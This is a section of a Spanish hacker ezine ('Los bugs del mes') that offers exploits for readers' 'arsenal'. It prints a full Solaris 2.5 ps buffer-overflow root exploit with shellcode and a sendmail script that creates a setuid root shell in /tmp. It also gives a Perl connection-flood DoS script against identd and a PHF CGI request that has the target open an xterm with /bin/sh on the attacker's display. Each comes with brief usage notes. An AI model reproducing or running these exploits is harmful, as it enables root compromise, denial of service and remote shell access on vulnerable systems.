SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

Los bugs del mes

      2277

Autor: Varios
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
o 13. LOS BUGS DEL MES                                                      o
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII


Unos cuantos bugs con sus correspondientes exploits para que pertrecheis
vuestro arsenal. Empezamos con uno dedicado a Black Wizard.


Para: Solaris 2.5 
Tema: Root access
Patch: Manual
Credits: J. Zbiciak

--- ps_expl.sh: Aqui va el exploit ---  
#!/bin/sh  
#  
# Exploit for Solaris 2.5 /usr/bin/ps  
# J. Zbiciak, 5/18/97  
#  
 
# change as appropriate  
CC=gcc  
 
# Build the "replacement message" :-)  
cat > ps_expl.po << E_O_F  
domain "SUNW_OST_OSCMD"  
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"  
msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025"  
   "\343\150\220\013\200\016\222\003\240\014\224\032\200\012"  
   "\234\003\240\024\354\073\277\354\300\043\277\364\334\043"  
   "\277\370\300\043\277\374\202\020\040\073\221\320\040\010"  
   "\220\033\300\017\202\020\040\001\221\320\040\010"  
E_O_F  
 
msgfmt -o /tmp/foo ps_expl.po  
 
# Build the C portion of the exploit  
cat > ps_expl.c << E_O_F  
 
/*****************************************/  
/* Exploit for Solaris 2.5 /usr/bin/ps   */  
/* J. Zbiciak,  5/18/97                  */  
/*****************************************/  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/types.h>  
#include <unistd.h>  
 
#define BUF_LENGTH      (632)  
#define EXTRA           (256)  
 
int main(int argc, char *argv[])  
{  
    char buf[BUF_LENGTH + EXTRA];  
                  /* ps will grok this file for the exploit code */  
    char *envp[]={"NLSPATH=/tmp/foo",0};  
    u_long *long_p;  
    u_char *char_p;  
                    /* This will vary depending on your libc */  
    u_long proc_link=0xef70ef70;  
    int i;  
      /* Ojo con proc_link, la direccion debe ser la de _vuestro_ sistema */
     long_p = (u_long *) buf;  
 
    /* This first loop smashes the target buffer for optargs */  
    for (i = 0; i < (96) / sizeof(u_long); i++)  
            *long_p++ = 0x10101010;  
 
    /* At offset 96 is the environ ptr -- be careful not to mess it up */  
    *long_p++=0xeffffcb0;  
    *long_p++=0xffffffff;  
 
    /* After that is the _ctype table.  Filling with 0x10101010 marks the  
       entire character set as being "uppercase printable". */  
    for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)  
            *long_p++ = 0x10101010;  
 
    /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */  
    *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */  
    *long_p++ = proc_link;    /* pointer to chars in buffer */  
    *long_p++ = proc_link;    /* pointer to buffer */  
    *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */  
    /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */  
 
    /* build up _iob[1] */  
    *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */  
    *long_p++ = proc_link;    /* pointer to chars in buffer */  
    *long_p++ = proc_link;    /* pointer to buffer */  
    *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */  
 
    /* build up _iob[2] */  
    *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */  
    *long_p++ = proc_link;    /* pointer to chars in buffer */  
    *long_p++ = proc_link;    /* pointer to buffer */  
    *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */  
 
    *long_p =0;  
 
    /* The following includes the invalid argument '-z' to force the  
       usage msg to appear after the arguments have been parsed. */  
    execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);  
    perror("execle failed");  
 
    return 0;  
}  
E_O_F  
 
# Compile it  
$CC -o ps_expl ps_expl.c  
 
# And off we go!  
exec ./ps_expl  
 
--- EOF --- 


Descripcion y Notas:

A traves de ps (programa que lista procesos activos en un sistema) se
puede conseguir por un usuario local obtener acceso como root, en Solaris
puede haber dos versiones de ps en /usr/bin/ y /usr/ucb/ por lo que
dependiendo de si intentamos utilizarlo en una y otra puede tener que
variarse ligeramente el exploit (principalemente "environ" y "proc_link")
Es fundamental sobre todo que el valor de proc_link sea correcto para que
el exploit funcione por lo que si no funciona, seguramente no tendreis mas
que averiguar la direccion correcta que poner en la variable proc_link
(venga Black Wizard, no se necesita ser un genio solo un leve desensamblado
del ps y encontraras la direccion correcta en tu maquina)
Por supuesto Solaris tiene mas bugs susceptibles de provocar root pero
eso es otra historia.


Para: Smptd v8.7-8.8.2 para Linux, FreeBSD..
Tema: Root access
Patch: Fijado en nuevas versiones.
Credits: Leshka Zakharoff 


#/bin/sh 
# 
# 
#                                   Hi ! 
#                This is exploit for sendmail smtpd bug 
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). 
#         This shell script does a root shell in /tmp directory. 
#          If you have any problems with it, drop me a letter. 
#                                Have fun ! 
# 
# 
#                           ---------------------- 
#               --------------------------------------------- 
#    -----------------   Dedicated to my beautiful lady   ------------------ 
#               --------------------------------------------- 
#                           ---------------------- 
# 
#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su 
# 
# 
# 
echo   'main()                                                '>>leshka.c 
echo   '{                                                     '>>leshka.c 
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c 
echo   '}                                                     '>>leshka.c 
# 
# 
echo   'main()                                                '>>smtpd.c 
echo   '{                                                     '>>smtpd.c 
echo   '  setuid(0); setgid(0);                               '>>smtpd.c 
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c 
echo   '}                                                     '>>smtpd.c 
# 
# 
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c 
./leshka 
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"
"\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd 
/tmp/sh 
 

Descripcion y Notas:

Este bug se basa en el hecho de que sendmail es un programa suid root y
como tal puede ser invocado como demonio por cualquier usuario y tras ello
cargar una pieza de codigo de cualquier parte por lo tanto el usuario
puede mandar "se€ales" a sendmail y controlarlo con los beneficios que ello
conlleva, basicamente el bug trastoca el HUP handler para permitir esto.



Para: Identd [cualquier sistema con pidentd, Unix, Linux, BSD, Irix..]
Tema: DOS
Patch: Para OpenBSD (nueva version de pidentd]

#!/usr/bin/perl
# Script de ataque DoS a Ident que puede ser util para testear la
# vulnerabilidad de nuestro sistema.

#include <Socket.pm>
use Socket;
my($h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]";
$p = 6667 if (!$ARGV[1]);
if (!$h) {
  print "Pon algun nombre de host. Ej: irc.arrakis.es\n";
}
$in_addr = (gethostbyname($h))[4];
$addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
&connect;

sub connect {
  print "Conexion en progreso:\n";
  socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
  connect(S,$addr) or die $!;
  select S;
  $| = 1;
  print "Vamonos!\n";
  select STDOUT;
  close S;
  &connect;
}


Descripcion y Notas:

Well, well, well, my Michelle. Tipico ataque DoS en que peticiones masivas
causan el trastorno del programa receptor. En este caso el bug aprovecha
una incorrecta implementacion del codigo encargado de cerrar la conexion
con el host originante. Se puede adaptar el codigo para que en lugar de
intentar conectar con un servidor IRC lo haga con un servidor de otro
tipo. 


Para: X-Windows
Tema: XTERM remoto
Patch: ?
Credit: aCiDBiTS

    1. Inicia las X Windows.

    2. Pon lo siguiente:
            XDM
            XHOST ++

    3. Con el browser que tengas pon lo siguiente:
 GET /cgi-bin/phf?Qalias=hell%0a/usr/X11R6.3/bin/xterm%20-display %20PON.AQUI.
 TU.IP:0%20-C%20-e%20/bin/sh  (todo esto va junto)

    4. Ya esta, se supone que se te tiene que abrir una ventana con
       acceso directo dentro del host en forma de root. (Sin logs ni nada)

La cuestion es darle al host la siguiente orden:
        xterm -display La.IP.Tuya:0 -C -e/bin/sh



Descripcion y Notas:

Este es un bug muy bueno que se encuentra en algunos servidores que
usan las X Windows. Con el se puede obtener root de forma remota,
la verdad es que es la mezcla de 2 exploits. En el host que he
probado yo lo he hecho con el PHF. Solo necesitas tener instalado el
linux con las X Windows.

[//Editor//] Como ya veis no mordemos, ya que aCiDBiTS ha sido el unico
en enviar un bug hemos decidido publicarlo, por cierto que las preguntas a
las que hacias referencia vienen en parte contestadas en el articulo sobre
telefonia movil analogica de este numero, para las otras quizas recibas
respuesta pronto, las cosas de palacio...[\\Editor\\]


Por este numero basta. Solo decid que vuestra colaboracion en este
apartado deja "algo" que desear. :(. Solo Acidbits ha enviado un bug
"publicable" aunque.. bueno, en fin, quiza el siguiente numero haya
mas suerte.